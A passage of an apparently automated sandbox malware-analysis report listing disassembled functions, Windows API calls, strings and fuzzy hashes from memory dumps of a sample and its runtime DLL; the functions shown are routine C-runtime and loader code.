FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA61D
FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA64A
FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA65B
FlsSetValue.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA66C
SetLastError.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA687

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
Instruction ID: f129e391c2801b7840431ed6c2a0e6c07870378c41cd302f2166c758de3b3d37
Opcode Fuzzy Hash: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
Instruction Fuzzy Hash: C2116A22A0CE4286FEA57726964153EEA865F487B0FC84334E93E077D6DE2CFC094761

Function 00007FF7102C2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7102C2338
DialogBoxIndirectParamW.USER32 ref: 00007FF7102C23FE
DeleteObject.GDI32 ref: 00007FF7102C2431
DestroyIcon.USER32 ref: 00007FF7102C2443

Strings

Unhandled exception in script, xrefs: 00007FF7102C2368

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: a6e7d290dc67b0bb036b84f18c740492a81528deb91c8b42bdc3829a80364304
Instruction ID: e16cd90828a7366839e8d8f019176bf37a2c8210f47ea8b77c3bc0a4953d490a
Opcode Fuzzy Hash: a6e7d290dc67b0bb036b84f18c740492a81528deb91c8b42bdc3829a80364304
Instruction Fuzzy Hash: E9319572618E8289EB20EF61E8552FAB760FF897A4F840135EA4D47B55DF3CE508C710

Function 00007FF7102C2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

MessageBoxW.USER32 ref: 00007FF7102C283B
MessageBoxA.USER32 ref: 00007FF7102C284F

Strings

Error/warning (ANSI fallback), xrefs: 00007FF7102C2843
%s%s: %s, xrefs: 00007FF7102C27EC
Error, xrefs: 00007FF7102C282C

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
API String ID: 1878133881-640379615
Opcode ID: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
Instruction ID: 49c044f1bbff69d25bf06c21e31068de913e7e039e2977579727c86632218760
Opcode Fuzzy Hash: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
Instruction Fuzzy Hash: 51219672628E8681E620AB10F4517EAA764FF84794F801136E68C13B99CF7CE649C760

Function 00007FFEEE25D5FC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00007FFEEE25EEE8), ref: 00007FFEEE25D621
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00007FFEEE25EEE8), ref: 00007FFEEE25D62D

Part of subcall function 00007FFEEE25D700: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FFEEE25D711

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,00007FFEEE25EEE8), ref: 00007FFEEE25D65F
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00007FFEEE25EEE8), ref: 00007FFEEE25D680

Strings

CONOUT$, xrefs: 00007FFEEE25D64B

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: e8436ed983646b7741b880c1e310600c66f6064bdfef0de261db91b68aa38882
Instruction ID: 05ae602d8673c6ba05494e35f9d27ed04f01b9ac72e0c8ab3b583158f032ff4e
Opcode Fuzzy Hash: e8436ed983646b7741b880c1e310600c66f6064bdfef0de261db91b68aa38882
Instruction Fuzzy Hash: 80114532A18A4282E7109F55F44436A73A0FB8CB99F174225DA8D47B28DFBCD8558B06

Function 00007FF7102D8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7102D8DC5
GetProcAddress.KERNEL32 ref: 00007FF7102D8DDB
FreeLibrary.KERNEL32 ref: 00007FF7102D8E02

Strings

CorExitProcess, xrefs: 00007FF7102D8DD4
mscoree.dll, xrefs: 00007FF7102D8DBC

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction ID: d2ebc646bfd008d07da55a8bb9ba20a89be3e0408609e9c567d2c32719bff3f8
Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction Fuzzy Hash: 69F04F61A19F0282EA11AB24E45437A9B20AF867B1FD40635D96D467E4CF2CF44DC720

Function 00007FFEEE1E05C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE1E05E0
FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE1E05FE
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE216D7C

Strings

mscoree.dll, xrefs: 00007FFEEE1E05D7
CorExitProcess, xrefs: 00007FFEEE216D75

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c6102f14bd0e1dc4eb31f26872076cec08b0579beb4ca12afd9d0d1ba956034a
Instruction ID: ced053406d1b1b9d4fc41afe196a5af37e2c04e418553130540ef61c271b4298
Opcode Fuzzy Hash: c6102f14bd0e1dc4eb31f26872076cec08b0579beb4ca12afd9d0d1ba956034a
Instruction Fuzzy Hash: 4BF01DA1A1D64282EA548F65B8943792360AF8C744F53103AE58F851B8DFACE4C8C702

Function 00007FFEEE22EC38 Relevance: 7.8, APIs: 5, Instructions: 344COMMON

Download Yara Rule

APIs

GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FFEEE22ED0C
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FFEEE22EE2D
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FFEEE22EF43
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FFEEE22EFC9
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FFEEE22F097

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 37aa3bd256a071d7114397c104d9f3dc587f8c0504604195be426d22ce84bd86
Instruction ID: 3350bc143013ff39f0135e30f98ea2a76caca33974171fcb3358b229d87a4b13
Opcode Fuzzy Hash: 37aa3bd256a071d7114397c104d9f3dc587f8c0504604195be426d22ce84bd86
Instruction Fuzzy Hash: BDD1D111E0828242FB765E90B49037D66C1AF8D794F9B4236D9DC1ABF4DEEDED809207

Function 00007FFEEE1E2514 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE1E2509), ref: 00007FFEEE1E257A
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE1E2509), ref: 00007FFEEE1E25A7
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE1E2509), ref: 00007FFEEE217555
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE1E2509), ref: 00007FFEEE217562
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE1E2509), ref: 00007FFEEE217599

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: FullNamePath$ErrorLast
String ID:
API String ID: 457693415-0
Opcode ID: 8d511332f94ab66b54b28a8ebd2e96d388545995aa5be56feb9ca80927fc0617
Instruction ID: 686948ec070aa7e3f49f7b3c88420423151e44a6c6d15a8183399d540d3c15cb
Opcode Fuzzy Hash: 8d511332f94ab66b54b28a8ebd2e96d388545995aa5be56feb9ca80927fc0617
Instruction Fuzzy Hash: 54318061F0870286FB14AFA1B4106BC32A4AF88B84B174136DD8D537B5DFBCE5418342

Function 00007FFEEE1E4F40 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFEEE1E18DC: GetModuleHandleExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1E1868), ref: 00007FFEEE1E1920

CreateThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FFEEE1E4F8A
ResumeThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FFEEE1E4FA3
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE218369
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FFEEE218385
FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE218394

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: HandleThread$CloseCreateErrorFreeLastLibraryModuleResume
String ID:
API String ID: 1364334503-0
Opcode ID: abb107f651fd450bd483c6b75e6516ba23bdd0948844ca67fb2ffd94d36fe676
Instruction ID: 3465445d0bb82eb367aeb8f0a9bf0b99e50103c553039f36062b99b0df5e25ee
Opcode Fuzzy Hash: abb107f651fd450bd483c6b75e6516ba23bdd0948844ca67fb2ffd94d36fe676
Instruction Fuzzy Hash: 8F216825A0D70386EE185FA9B4503B962906F89B64F1B0735E9AE023F5DFBCD5408242

Function 00007FF7102E8678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7102E86A0
_set_statfp.LIBCMT ref: 00007FF7102E86BB
_set_statfp.LIBCMT ref: 00007FF7102E86D7
_set_statfp.LIBCMT ref: 00007FF7102E8713

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 8ccab1ad8002e8d9c28fa8d106187d11915cf6e1f101da5ff3b6a71f580dd9d1
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: F1118F36ED8E0301F6543128D456375D9406F54374FA90634EAEE267DACEACB8498130

Function 00007FFEEE1F3C64 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFEEE1F3C8C
_set_statfp.LIBCMT ref: 00007FFEEE1F3CA7
_set_statfp.LIBCMT ref: 00007FFEEE1F3CC3
_set_statfp.LIBCMT ref: 00007FFEEE1F3CFF

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: d87a420c425093582bf0768a505271f7d8736b4892105bec4a5daca04c7c3215
Instruction ID: ec15b32e4da3ff332d2e17c79a97a5cc27b74356a009ca88190c8245167a0042
Opcode Fuzzy Hash: d87a420c425093582bf0768a505271f7d8736b4892105bec4a5daca04c7c3215
Instruction Fuzzy Hash: 4D117362E1CA1305FA5C1324F45937915416F54378F8B0A37E9EE076F7CEADA8C1C2A2

Function 00007FF7102DA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA6BF
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA6DE
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA706
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA717
FlsSetValue.KERNEL32(?,?,?,00007FF7102D98B3,?,?,00000000,00007FF7102D9B4E,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102DA728

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
Instruction ID: 66ee5f9612fc759b931c18fd11915d97f656c635c81065c6d0994ecae23fb31f
Opcode Fuzzy Hash: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
Instruction Fuzzy Hash: 2F112C22F08A4242FEA87326554257DE9925F987F0F944334E83E067D6DE2CFC098721

Function 00007FF7102DA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7102DA545
FlsSetValue.KERNEL32 ref: 00007FF7102DA564
FlsSetValue.KERNEL32 ref: 00007FF7102DA58C
FlsSetValue.KERNEL32 ref: 00007FF7102DA59D
FlsSetValue.KERNEL32 ref: 00007FF7102DA5AE

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
Instruction ID: 88c1ea98a126f9ea5c926288430fd52cbdfc497cb9507fb21052a58264344d87
Opcode Fuzzy Hash: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
Instruction Fuzzy Hash: B211FA22E09A0746FDA97326645257AAA824F49770FD84734D93E0A3D6ED3CFC495331

Function 00007FF7102D52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D54CC

Strings

verbose, xrefs: 00007FF7102D52C0

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: 9328dd109421082572245c2f9f642832102b0b34dd5458bdb9688a6387424c74
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: B891D033A08EA681F761AE25E45037DBA91AB00BA4FC44136DA9D463D5DFBCFC498321

Function 00007FF7102DEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DF1B7

Part of subcall function 00007FF7102D6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D6D69

Strings

UTF-8, xrefs: 00007FF7102DF136
UTF-16LEUNICODE, xrefs: 00007FF7102DF155
ccs, xrefs: 00007FF7102DF0F2

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction ID: 29134c811a018837dc5ee0f554d851bd7cd78b66d906a9edc03598593bab3432
Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction Fuzzy Hash: 35819073E0CA42C5FBA47F25C110A78BEA0AB11768FD58035CA0D9778ADB2DFD099325

Function 00007FF7102CC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7102CC993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7102CCA2A
RtlUnwindEx.KERNEL32 ref: 00007FF7102CCA84

Strings

csm, xrefs: 00007FF7102CCA11

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

